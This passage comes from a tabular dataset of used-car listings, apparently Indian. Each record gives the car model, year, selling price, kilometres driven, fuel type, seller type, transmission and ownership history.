Owner +Ford Fusion 1.6 Duratec Petrol,2005,120000,100000,Petrol,Individual,Manual,Third Owner +Honda City i-VTEC VX,2017,950000,35000,Petrol,Individual,Manual,First Owner +Maruti Wagon R VXI BS IV,2017,350000,48000,Petrol,Individual,Manual,Third Owner +Maruti Esteem Vxi,2005,100000,20000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2017,350000,30000,Petrol,Individual,Manual,First Owner +Maruti Wagon R VXI BSIII,2005,80000,40000,Petrol,Individual,Manual,Second Owner +Hyundai Verna 1.6 VTVT,2013,370000,60000,Petrol,Individual,Manual,First Owner +Hyundai EON D Lite Plus,2012,160000,70000,Petrol,Individual,Manual,Second Owner +Tata Sumo Victa EX 7/9 Str BSII,2009,130000,120000,Diesel,Individual,Manual,First Owner +Chevrolet Sail Hatchback 1.2 LS,2016,250000,30000,Petrol,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 GX 4x2 BS IV,2012,270000,80000,Diesel,Individual,Manual,Second Owner +BMW X1 sDrive 20d xLine,2019,2600000,9500,Diesel,Individual,Automatic,First Owner +Hyundai EON Era Plus,2013,160000,80000,Petrol,Individual,Manual,First Owner +Hyundai EON Magna Plus,2016,229999,80000,Petrol,Individual,Manual,First Owner +Mahindra Bolero Power Plus ZLX,2017,750000,29000,Diesel,Individual,Manual,First Owner +Chevrolet Optra Magnum 2.0 LS,2011,195000,120000,Diesel,Individual,Manual,First Owner +Toyota Etios Cross 1.2L G,2015,320000,60000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio S7 140 BSIV,2018,1100000,20000,Diesel,Individual,Manual,First Owner +Datsun RediGO S,2016,270000,22000,Petrol,Individual,Manual,First Owner +Skoda Fabia 1.2 MPI Ambition Plus,2012,300000,50000,Petrol,Individual,Manual,First Owner +Chevrolet Beat Diesel LT,2012,200000,50000,Diesel,Individual,Manual,First Owner +Maruti Zen Estilo 1.1 LXI BSIII,2007,120000,81366,Petrol,Individual,Manual,First Owner +Maruti Esteem Vxi - BSIII,2006,95000,110000,Petrol,Individual,Manual,First Owner +Volkswagen Polo Petrol Comfortline 1.2L,2013,400000,100000,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 8 Seater BS IV,2006,229999,300000,Diesel,Individual,Manual,First Owner +Mahindra KUV 100 mFALCON D75 K6,2016,430000,20000,Diesel,Individual,Manual,First Owner +Renault Fluence 1.5,2012,300000,90000,Diesel,Individual,Manual,First Owner +Fiat Linea Dynamic,2013,350000,70000,Petrol,Individual,Manual,First Owner +Renault Duster 110PS Diesel RxZ,2013,450000,120000,Diesel,Individual,Manual,First Owner +Renault KWID RXT,2016,200000,53000,Petrol,Individual,Manual,Second Owner +Maruti Alto 800 LXI,2017,250000,30000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire 1.2 Vxi BSIV,2012,368000,90000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire 1.2 Vxi BSIV,2012,368000,90000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 GX (Diesel) 7 Seater,2014,650000,244000,Diesel,Individual,Manual,First Owner +Mahindra Jeep CL 500 MDI,1997,150000,120000,Diesel,Individual,Manual,Third Owner +Maruti Wagon R LXI DUO BS IV,2012,180000,60000,LPG,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz Option,2017,525000,15000,Petrol,Individual,Manual,First Owner +Ford Endeavour 4x4 XLT,2005,350000,150000,Diesel,Individual,Manual,Second Owner +Mahindra TUV 300 Plus P4,2018,850000,30000,Diesel,Individual,Manual,Second Owner +Volkswagen Jetta 2.0 TDI Comfortline,2011,350000,312000,Diesel,Individual,Manual,Third Owner +Maruti Esteem Lxi - BSIII,2007,75000,54000,Petrol,Individual,Manual,First Owner +Maruti Swift 1.3 VXi,2005,160000,67000,Petrol,Individual,Manual,First Owner +Maruti Swift LDI Optional,2017,500000,40000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing GLS,2008,130000,100000,Petrol,Individual,Manual,First Owner +Tata Zest Quadrajet 1.3 75PS XE,2015,350000,100000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R LXI,2005,70000,80000,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 7 Seater,2014,750000,145000,Diesel,Individual,Manual,Second Owner +Honda Amaze VX i-DTEC,2013,450000,53000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire LDI,2015,430000,73000,Diesel,Individual,Manual,Third Owner +Maruti SX4 VDI,2011,260000,90000,Diesel,Individual,Manual,Third Owner +Maruti Swift VDI,2013,370000,80000,Diesel,Individual,Manual,Third Owner +Chevrolet Aveo 1.4 CNG,2011,229999,100000,CNG,Individual,Manual,First Owner +Ford Figo Diesel EXI,2011,140000,90000,Diesel,Individual,Manual,Third Owner +Toyota Innova 2.5 G (Diesel) 7 Seater,2013,700000,200000,Diesel,Individual,Manual,First Owner +Hyundai Elite i20 Magna Plus BSIV,2020,545000,7300,Petrol,Individual,Manual,First Owner +Datsun RediGO T Option,2017,200000,30000,Petrol,Individual,Manual,First Owner +Tata Safari Storme VX,2015,500000,120000,Diesel,Individual,Manual,First Owner +Maruti Alto LXi,2008,70000,90000,Petrol,Individual,Manual,Second Owner +Mahindra Thar 4X4,2013,580000,25000,Diesel,Individual,Manual,Third Owner +Maruti Eeco 5 STR With AC Plus HTR CNG,2012,160000,70000,CNG,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Sportz BSIV,2018,450000,6000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2010,160000,36000,Petrol,Individual,Manual,First Owner +Maruti Ertiga SHVS ZDI Plus,2016,760000,49000,Diesel,Individual,Manual,First Owner +Hyundai EON Magna Optional,2015,300000,22000,Petrol,Individual,Manual,First Owner +Maruti Omni 5 Str STD LPG,1998,50000,35000,LPG,Individual,Manual,Second Owner +Mahindra Bolero 2011-2019 SLX,2019,800000,24000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2018,680000,20000,Diesel,Individual,Manual,First Owner +Maruti 800 DUO AC LPG,2009,85000,50000,LPG,Individual,Manual,Second Owner +Toyota Innova Crysta 2.4 G MT BSIV,2016,1300000,70000,Diesel,Individual,Manual,First Owner +Maruti Swift VXI BSIV,2016,500000,60000,Petrol,Individual,Manual,First Owner +Audi Q5 2.0 TDI,2015,3500000,35000,Diesel,Individual,Automatic,First Owner +Hyundai Accent GLX,2008,145000,60000,Petrol,Individual,Manual,First Owner +Mahindra Quanto C6,2013,300000,60000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI Optional,2017,600000,60000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire VXI,2015,400000,70000,Petrol,Individual,Manual,Second Owner +Hyundai Santro Xing XK eRLX EuroIII,2007,130000,135000,Petrol,Individual,Manual,Second Owner +Maruti 800 AC BSII,2001,45000,72539,Petrol,Individual,Manual,Second Owner +Maruti Baleno Zeta 1.2,2017,641000,25000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2015,650000,50000,Diesel,Individual,Manual,First Owner +Ford Freestyle Titanium Diesel,2020,784000,101,Diesel,Dealer,Manual,Test Drive Car +Ford Figo Titanium,2020,635000,101,Petrol,Dealer,Manual,Test Drive Car +Ford Ecosport 1.5 Diesel Titanium,2020,1000000,101,Diesel,Dealer,Manual,Test Drive Car +Ford Figo 1.5D Titanium Opt MT,2015,495000,52328,Diesel,Dealer,Manual,First Owner +Hyundai Santro Xing GLS,2013,324000,30000,Petrol,Individual,Manual,First Owner +Ford Endeavour 3.2 Titanium AT 4X4,2016,2100000,91505,Diesel,Dealer,Automatic,First Owner +Maruti Alto 800 LXI,2018,200000,35000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2015,320000,60000,Diesel,Individual,Manual,First Owner +Hyundai EON Magna Optional,2015,300000,20500,Petrol,Individual,Manual,First Owner +Tata Indica Vista Quadrajet LX,2013,180000,200000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 V Diesel 8-seater,2008,500000,154000,Diesel,Individual,Manual,Third Owner +Toyota Etios VX,2011,305000,120000,Petrol,Individual,Manual,Second Owner +Maruti 800 AC,2009,125000,50000,Petrol,Individual,Manual,Fourth & Above Owner +Maruti Swift Dzire ZDI,2015,800000,135000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio SLE BSIV,2009,420000,100000,Diesel,Individual,Manual,First Owner +Maruti Vitara Brezza ZDi Plus,2017,875000,40000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire ZDI,2014,580000,70000,Diesel,Individual,Manual,First Owner +Maruti Swift Ldi BSIV,2011,350000,133000,Diesel,Individual,Manual,Second Owner +Hyundai Accent GLS,2004,120000,110000,Petrol,Individual,Manual,Second Owner +Tata Indica Vista TDI LS,2013,150000,180000,Diesel,Individual,Manual,Third Owner +Renault Duster 110PS Diesel RxZ,2013,650000,120000,Diesel,Individual,Manual,First Owner +Maruti Alto K10 2010-2014 VXI,2010,225000,80000,Petrol,Individual,Manual,Second Owner +Honda Amaze S AT i-Vtech,2014,400000,15000,Petrol,Individual,Automatic,First Owner +Hyundai Getz GLS,2005,250000,70000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing GL Plus,2008,120000,41723,Petrol,Individual,Manual,Second Owner +Maruti SX4 Vxi BSIV,2010,250000,70000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 LXI,2012,175000,20000,Petrol,Individual,Manual,Second Owner +Renault Duster 85PS Diesel RxL,2013,450000,1000,Diesel,Dealer,Manual,Second Owner +Maruti Ignis 1.3 Delta,2018,590000,26350,Diesel,Dealer,Manual,First Owner +Tata Indigo CS LX (TDI) BS-III,2015,225000,68745,Diesel,Dealer,Manual,First Owner +Mahindra XUV500 W6 2WD,2016,900000,47000,Diesel,Individual,Manual,First Owner +Maruti Alto K10 VXI AGS,2017,375000,27289,Petrol,Dealer,Automatic,First Owner +Hyundai EON Era Plus,2016,320000,24662,Petrol,Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2013,525000,37000,Diesel,Dealer,Manual,First Owner +Nissan Evalia XV,2014,650000,28245,Diesel,Dealer,Manual,First Owner +Hyundai Grand i10 1.2 CRDi Sportz Option,2017,575000,27005,Diesel,Dealer,Manual,First Owner +Hyundai i10 Magna,2014,355000,39227,Petrol,Dealer,Manual,First Owner +Mahindra KUV 100 D75 K4 Plus 5Str,2016,470000,31367,Diesel,Dealer,Manual,First Owner +Maruti Wagon R LXI,2008,221000,35008,Petrol,Dealer,Manual,First Owner +Hyundai Santro Xing GLS,2009,195000,27005,Petrol,Dealer,Manual,First Owner +Hyundai Santro Xing XG,2004,90000,100005,Petrol,Dealer,Manual,Second Owner +Hyundai Verna SX Diesel,2013,580000,45264,Diesel,Dealer,Manual,First Owner +Maruti Eeco 7 Seater Standard BSIV,2014,325000,39093,Petrol,Dealer,Manual,First Owner +Honda City Corporate Edition,2013,495000,45241,Petrol,Dealer,Manual,First Owner +Hyundai EON Era,2014,290000,12000,Petrol,Dealer,Manual,First Owner +Datsun RediGO 1.0 T Option,2018,375000,2769,Petrol,Dealer,Manual,First Owner +Tata Indica Vista TDI LS,2011,211000,43128,Diesel,Dealer,Manual,First Owner +Hyundai i20 Asta,2010,270000,110000,Petrol,Individual,Manual,Second Owner +Maruti Alto LXI,2004,70000,50000,Petrol,Individual,Manual,Second Owner +Hyundai i10 Magna 1.2,2010,225000,60000,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio LX,2014,420000,70000,Diesel,Individual,Manual,Third Owner +Chevrolet Sail Hatchback 1.2 LS,2015,280000,22255,Petrol,Individual,Manual,First Owner +Hyundai i20 Sportz 1.2,2013,400000,59213,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W6 2WD,2015,850000,55000,Diesel,Individual,Manual,First Owner +Ford Fiesta Titanium 1.5 TDCi,2011,550000,80000,Diesel,Individual,Manual,First Owner +Ford Fiesta Titanium 1.5 TDCi,2011,550000,80000,Diesel,Individual,Manual,First Owner +Renault Captur 1.5 Diesel RXT Mono,2018,1000000,40000,Diesel,Individual,Manual,First Owner +Mahindra Xylo D2 Maxx,2014,350000,170000,Diesel,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 EX 4x2,2011,350000,170000,Diesel,Individual,Manual,Second Owner +Honda Civic 1.8 S MT,2007,170000,70000,Petrol,Individual,Manual,Third Owner +Ford Aspire Titanium BSIV,2020,828999,1010,Petrol,Dealer,Manual,Test Drive Car +Ford EcoSport 1.5 Ti VCT MT Titanium BE BSIV,2020,1119000,1010,Petrol,Dealer,Manual,Test Drive Car +Ford Figo Titanium,2020,746000,1111,Petrol,Dealer,Manual,Test Drive Car +Ford Ecosport 1.5 Petrol Trend,2020,1030000,1010,Petrol,Dealer,Manual,Test Drive Car +Ford EcoSport 1.5 TDCi Titanium Plus BSIV,2020,1334000,1010,Diesel,Dealer,Manual,Test Drive Car +Ford Freestyle Titanium,2020,811999,1010,Petrol,Dealer,Manual,Test Drive Car +Ford Ecosport Thunder Edition Diesel,2020,1331000,1010,Diesel,Dealer,Manual,Test Drive Car +Ford Freestyle Titanium Plus,2020,852000,1010,Petrol,Dealer,Manual,Test Drive Car +Tata Indica DLE,2006,45000,120000,Diesel,Individual,Manual,Second Owner +Renault Duster 85PS Diesel RxL Optional,2013,430000,70000,Diesel,Individual,Manual,Third Owner +Tata Indigo LX,2011,140000,60000,Diesel,Individual,Manual,Second Owner +Mahindra Scorpio S2 9 Seater,2015,830000,70000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio VLS 2.2 mHawk,2009,409999,110000,Diesel,Individual,Manual,Second Owner +Maruti Swift VDI,2012,190000,80000,Diesel,Individual,Manual,Third Owner +Honda Accord VTi-L (MT),2007,200000,80000,Petrol,Individual,Manual,Second Owner +Hyundai Accent GLX,2006,120000,110000,Petrol,Individual,Manual,Second Owner +Mahindra Bolero Power Plus Plus AC BSIV PS,2019,850000,50000,Diesel,Individual,Manual,First Owner +Tata Indigo CS LE (TDI) BS-III,2011,95000,115000,Diesel,Individual,Manual,Fourth & Above Owner +Maruti Wagon R LXI BS IV,2013,213000,80000,Petrol,Individual,Manual,First Owner +Volkswagen Ameo 1.5 TDI Highline Plus 16,2018,660000,25000,Diesel,Individual,Manual,First Owner +Nissan Micra XL,2017,415000,48965,Petrol,Dealer,Manual,First Owner +Ford Ecosport 1.5 Petrol Titanium Plus,2019,1100000,5166,Petrol,Dealer,Manual,Test Drive Car +Mahindra XUV500 W8 4WD,2012,650000,76290,Diesel,Dealer,Manual,First Owner +Mahindra XUV500 AT W10 AWD,2016,969999,70000,Diesel,Individual,Automatic,Second Owner +Mahindra XUV500 W10 2WD,2016,1250000,35000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire AMT VDI,2017,715000,25000,Diesel,Individual,Automatic,First Owner +Maruti Swift Dzire AMT VDI,2017,715000,25000,Diesel,Individual,Automatic,First Owner +Maruti Swift VDI,2016,565000,47000,Diesel,Dealer,Manual,First Owner +Mahindra Thar 4X4,2013,615000,45766,Diesel,Individual,Manual,Second Owner +Tata New Safari 4X4,2007,199000,78771,Diesel,Dealer,Manual,Second Owner +Maruti Swift Vdi BSIII,2010,325000,79357,Diesel,Dealer,Manual,First Owner +Ford Figo Diesel EXI,2012,409999,28000,Diesel,Individual,Manual,First Owner +Hyundai Verna SX CRDi AT,2012,500000,72000,Diesel,Dealer,Automatic,Second Owner +Ford Figo Diesel LXI,2011,225000,76736,Diesel,Dealer,Manual,Second Owner +Maruti Alto LX BSIII,2007,135000,70000,Petrol,Individual,Manual,Second Owner +Renault Koleos 2.0 Diesel,2012,750000,80000,Diesel,Individual,Automatic,Second Owner +Maruti Wagon R LXI DUO BSIII,2009,155000,60000,LPG,Individual,Manual,Second Owner +Volkswagen Polo Diesel Highline 1.2L,2012,335000,77000,Diesel,Dealer,Manual,Third Owner +Ford Ikon 1.8 D,2005,114999,92645,Diesel,Dealer,Manual,Fourth & Above Owner +Mercedes-Benz New C-Class 200 CDI Classic,2007,699000,101849,Diesel,Dealer,Manual,Second Owner +Mahindra Bolero DI,2004,110000,120000,Diesel,Individual,Manual,Fourth & Above Owner +Hyundai i20 Asta 1.2,2012,300000,80000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio S4 4WD,2014,700000,70000,Diesel,Individual,Manual,Second Owner +Maruti Ertiga SHVS LDI Option,2017,700000,120000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2013,210000,42000,Petrol,Individual,Manual,Third Owner +Maruti Ertiga VDI,2012,600000,120000,Diesel,Individual,Manual,Third Owner +Tata Manza Aura (ABS) Quadrajet BS IV,2012,180000,155836,Diesel,Individual,Manual,Second Owner +Maruti Wagon R VXi BSII,2011,220000,59000,Petrol,Individual,Manual,Second Owner +Chevrolet Spark 1.0 LT,2009,70000,60000,Petrol,Individual,Manual,First Owner +Hyundai Creta 1.4 CRDi Base,2018,950000,70000,Diesel,Individual,Manual,Second Owner +Ford Fiesta 1.5 TDCi Ambiente,2014,800000,20000,Diesel,Individual,Manual,First Owner +Mahindra XUV500 W8 4WD,2012,700000,120000,Diesel,Individual,Manual,Third Owner +Renault KWID 1.0,2016,265000,40000,Petrol,Individual,Manual,First Owner +Volkswagen Polo Diesel Trendline 1.2L,2011,175000,90000,Diesel,Individual,Manual,Third Owner +Mahindra Quanto C6,2012,260000,89000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 VX (Diesel) 7 Seater,2013,950000,80000,Diesel,Individual,Manual,Third Owner +Maruti Swift Vdi BSIII,2009,250000,200000,Diesel,Individual,Manual,Fourth & Above Owner +Mahindra Scorpio S10 7 Seater,2015,630000,50000,Diesel,Individual,Manual,First Owner +Tata Nano LX SE,2012,35000,35000,Petrol,Individual,Manual,Third Owner +Renault Duster 85PS Diesel RxL,2013,450000,1000,Diesel,Dealer,Manual,Second Owner +Mercedes-Benz C-Class Progressive C 220d,2018,3800000,10000,Diesel,Dealer,Automatic,First Owner +Audi A4 3.0 TDI Quattro,2013,1580000,86000,Diesel,Dealer,Automatic,First Owner +BMW X5 xDrive 30d xLine,2019,4950000,30000,Diesel,Dealer,Automatic,First Owner +Hyundai Creta 1.6 CRDi SX,2016,535000,52600,Diesel,Individual,Manual,First Owner +Maruti SX4 Vxi BSIV,2012,225000,110000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,550000,19890,Petrol,Dealer,Automatic,First Owner +Maruti Swift ZXI BSIV,2016,670000,7104,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Ertiga VXI,2015,625000,11918,Petrol,Trustmark Dealer,Manual,First Owner +Hyundai Grand i10 Magna AT,2017,520000,10510,Petrol,Dealer,Automatic,First Owner +Chevrolet Beat LT Option,2016,239000,41000,Petrol,Dealer,Manual,First Owner +Toyota Fortuner 4x2 AT,2017,2600000,47162,Diesel,Trustmark Dealer,Automatic,First Owner +Maruti S-Cross Zeta DDiS 200 SH,2015,750000,45974,Diesel,Trustmark Dealer,Manual,First Owner +Hyundai i10 Magna,2012,229999,49824,Petrol,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2013,1300000,58500,Diesel,Dealer,Automatic,First Owner +Hyundai Santro GS,2005,80000,56580,Petrol,Dealer,Manual,First Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2012,385000,52000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.6 VTVT SX,2015,760000,55340,Petrol,Trustmark Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2017,600000,46507,Diesel,Trustmark Dealer,Manual,First Owner +Chevrolet Enjoy TCDi LS 8 Seater,2014,330000,200000,Diesel,Individual,Manual,Third Owner +Maruti Alto LXi,2009,150000,120000,Petrol,Individual,Manual,First Owner +Tata Indigo LS,2008,105000,90000,Diesel,Individual,Manual,First Owner +Tata Indica Vista TDI LX,2013,185000,65000,Diesel,Individual,Manual,First Owner +Fiat Grande Punto EVO 1.3 Active,2014,260000,50000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VDi,2012,450000,33000,Diesel,Individual,Manual,First Owner +Maruti Swift VXI Deca,2016,500000,38000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 2010-2014 VXI,2012,260000,40000,Petrol,Individual,Manual,First Owner +Volkswagen Polo Diesel Trendline 1.2L,2012,265000,55000,Diesel,Individual,Manual,Second Owner +Mahindra Thar CRDe,2017,800000,26000,Diesel,Individual,Manual,Second Owner +Tata Safari Storme VX Varicor 400,2016,869999,80000,Diesel,Individual,Manual,First Owner +Maruti Baleno Alpha 1.2,2018,690000,40000,Petrol,Individual,Manual,First Owner +Mitsubishi Pajero 2.8 SFX BSIV Dual Tone,2011,825000,120000,Diesel,Individual,Manual,First Owner +Maruti Alto LX BSIII,2006,160000,63230,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio 2.6 SLX CRDe,2006,300000,120000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R VXI,2005,100000,100000,Petrol,Individual,Manual,Third Owner +Hyundai i20 Asta 1.4 CRDi,2015,530000,77000,Diesel,Individual,Manual,Second Owner +Maruti Swift VXI Optional,2016,360000,30000,Petrol,Individual,Manual,First Owner +Maruti Swift 1.2 DLX,2015,220000,40000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2017,178000,35000,Petrol,Individual,Manual,First Owner +Mahindra Thar DI 4X2,2018,515000,5000,Diesel,Individual,Manual,First Owner +Maruti Ritz VXi,2014,300000,35000,Petrol,Individual,Manual,First Owner +Tata Indigo LS,2008,105000,90000,Diesel,Individual,Manual,First Owner +Tata Indica Vista TDI LX,2013,185000,65000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Quadrajet LS,2012,150000,80000,Diesel,Individual,Manual,Second Owner +Fiat Grande Punto EVO 1.3 Active,2014,260000,50000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VDi,2012,450000,33000,Diesel,Individual,Manual,First Owner +Maruti Swift VXI Deca,2016,500000,38000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 2010-2014 VXI,2012,260000,40000,Petrol,Individual,Manual,First Owner +Volkswagen Polo Diesel Trendline 1.2L,2012,265000,55000,Diesel,Individual,Manual,Second Owner +Tata Nexon 1.2 Revotron XZ Plus Dual Tone,2017,750000,15000,Petrol,Individual,Manual,First Owner +Mahindra Thar CRDe,2017,800000,26000,Diesel,Individual,Manual,Second Owner +Tata Safari Storme VX Varicor 400,2016,869999,80000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 G1 BSIV,2012,950000,80000,Diesel,Individual,Manual,First Owner +Maruti Baleno Alpha 1.2,2018,690000,40000,Petrol,Individual,Manual,First Owner +Mitsubishi Pajero 2.8 SFX BSIV Dual Tone,2011,825000,120000,Diesel,Individual,Manual,First Owner +Maruti 800 Std,2013,170000,70000,Petrol,Individual,Manual,First Owner +Maruti Alto LX BSIII,2006,160000,63230,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio 2.6 SLX CRDe,2006,300000,120000,Diesel,Individual,Manual,Second Owner +Datsun GO Plus A,2015,315000,45000,Petrol,Individual,Manual,Second Owner +Maruti 800 Std BSII,2006,90000,40000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R VXI,2005,100000,100000,Petrol,Individual,Manual,Third Owner +Tata Indica GLS BS IV,2008,65000,110000,Petrol,Individual,Manual,Third Owner +Hyundai Verna 1.6 CRDI,2012,312000,90000,Diesel,Individual,Manual,Second Owner +Maruti Vitara Brezza LDi,2018,700000,25000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing XL eRLX Euro III,2005,150000,47000,Petrol,Individual,Manual,First Owner +Renault Fluence 1.5,2013,450000,60000,Diesel,Individual,Manual,First Owner +Hyundai Verna Transform CRDi VGT ABS,2010,229999,120000,Diesel,Individual,Manual,Second Owner +Maruti Swift Ldi BSIII,2008,111000,120000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VDi,2012,250000,140000,Diesel,Individual,Manual,Second Owner +Ford Freestyle Titanium Plus Diesel,2019,750000,1001,Diesel,Dealer,Manual,First Owner +Ford Figo 1.5P Titanium AT,2017,774000,1758,Petrol,Dealer,Automatic,First Owner +Ford Figo 1.5P Titanium AT,2018,711000,1452,Petrol,Dealer,Automatic,First Owner +Ford Figo 1.5D Titanium MT,2017,600000,35122,Diesel,Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2015,455000,92621,Diesel,Dealer,Manual,First Owner +Datsun GO T Petrol,2015,225000,92198,Petrol,Dealer,Manual,Second Owner +Maruti Swift Dzire VDI,2019,650000,5000,Diesel,Individual,Manual,First Owner +Chevrolet Beat LT,2013,200000,50000,Petrol,Individual,Manual,First Owner +Hyundai Creta 1.6 CRDi AT SX Plus,2016,875000,74000,Diesel,Individual,Automatic,First Owner +Skoda Rapid 1.5 TDI AT Ambition BSIV,2017,750000,40000,Diesel,Individual,Automatic,First Owner +Maruti Swift Dzire AMT VDI,2019,725000,22000,Diesel,Individual,Automatic,First Owner +Maruti Alto LXi,2007,100000,100000,Petrol,Individual,Manual,Second Owner +Tata Hexa XT,2019,1100000,40000,Diesel,Individual,Manual,First Owner +Ford Endeavour 3.2 Titanium AT 4X4,2017,2700000,30000,Diesel,Individual,Automatic,First Owner +Renault KWID RXT Optional,2016,280000,23000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Aqua TDI BSIII,2009,150000,30000,Diesel,Individual,Manual,First Owner +Tata Manza Aura Safire,2010,200000,50000,Petrol,Individual,Manual,First Owner +Maruti Ritz VDi,2010,148000,100000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire VXi,2011,254999,70000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire ZXI,2013,360000,60000,Petrol,Individual,Manual,Second Owner +Maruti Alto LX,2006,95000,90000,Petrol,Individual,Manual,Second Owner +Mahindra Bolero SLE BSIII,2007,185000,230000,Diesel,Individual,Manual,Second Owner +Tata Indica Vista Quadrajet VX,2012,185000,40000,Diesel,Individual,Manual,First Owner +Renault KWID RXL,2019,300000,15000,Petrol,Individual,Manual,First Owner +Hyundai Verna VTVT 1.6 SX,2018,800000,40000,Petrol,Individual,Manual,First Owner +Maruti Zen LX,2000,60000,50000,Petrol,Individual,Manual,First Owner +Fiat Punto 1.2 Active,2010,80000,50000,Petrol,Individual,Manual,Second Owner +Hyundai Xcent 1.2 VTVT S,2018,500000,8000,Petrol,Individual,Manual,First Owner +Hyundai EON Era Plus,2013,250000,35000,Petrol,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 EX 4x2,2010,250000,80000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LXI BSIII,2005,125000,50000,Petrol,Individual,Manual,Second Owner +Maruti Alto LXi BSII,2002,100000,80000,Petrol,Individual,Manual,Fourth & Above Owner +Mahindra Scorpio M2DI,2010,480000,90000,Diesel,Individual,Manual,First Owner +Mahindra KUV 100 G80 K2,2018,320000,30000,Petrol,Individual,Manual,Second Owner +Maruti A-Star Vxi,2010,130000,70000,Petrol,Individual,Manual,Second Owner +Tata Indica DLS,2006,57000,80000,Diesel,Individual,Manual,Second Owner +Hyundai Santro GLS I - Euro I,2005,75000,60000,Petrol,Individual,Manual,First Owner +Maruti 800 DX,2003,60000,35000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi BSIII,2008,125000,70000,Petrol,Individual,Manual,First Owner +Honda City 1.5 EXI S,2004,105000,100000,Petrol,Individual,Manual,Third Owner +Maruti Wagon R LXI DUO BSIII,2008,125000,152000,LPG,Individual,Manual,Second Owner +Maruti Zen LXI,1998,69000,70000,Petrol,Individual,Manual,Second Owner +Tata Indigo LX,2012,130000,90000,Diesel,Individual,Manual,Second Owner +Maruti Baleno Zeta 1.2,2019,630000,40000,Petrol,Individual,Manual,First Owner +Honda Amaze E i-VTEC,2016,330000,50000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2014,340000,15000,Petrol,Individual,Manual,Second Owner +Hyundai Santro Xing XG eRLX Euro III,2006,60000,120000,Petrol,Individual,Manual,Third Owner +Tata Safari Storme EX,2014,550000,78322,Diesel,Individual,Manual,First Owner +Maruti Ertiga VDI,2014,480000,110000,Diesel,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX CRDi (O),2013,315000,80000,Diesel,Individual,Manual,Second Owner +Ford Fiesta Titanium 1.5 TDCi,2012,165000,120000,Diesel,Individual,Manual,First Owner +Chevrolet Beat LS,2016,170000,125000,Petrol,Individual,Manual,First Owner +Maruti Baleno Delta 1.2,2018,550000,8000,Petrol,Individual,Manual,First Owner +Volkswagen Ameo 1.2 MPI Trendline,2018,465000,13000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Quadrajet LX,2012,120000,80000,Diesel,Individual,Manual,Third Owner +Hyundai Verna 1.6 Xi ABS,2008,220000,54309,Petrol,Individual,Manual,First Owner +Ford Figo Diesel LXI,2011,180000,70000,Diesel,Individual,Manual,Second Owner +Chevrolet Aveo 1.6 LT,2006,150000,34600,Petrol,Individual,Manual,Third Owner +Tata Zest Revotron 1.2T XMS,2016,520000,25000,Petrol,Individual,Manual,First Owner +Tata Safari Storme EX,2013,430000,80000,Diesel,Individual,Manual,Third Owner +Mahindra Bolero DI DX 8 Seater,2009,300000,55000,Diesel,Individual,Manual,Second Owner +Hyundai Venue SX Opt Diesel,2020,1000000,5000,Diesel,Individual,Manual,First Owner +Honda WR-V i-DTEC VX,2017,725000,30000,Diesel,Individual,Manual,First Owner +Hyundai Verna 1.4 EX,2011,500000,31000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LXI BS IV,2011,250000,50000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire 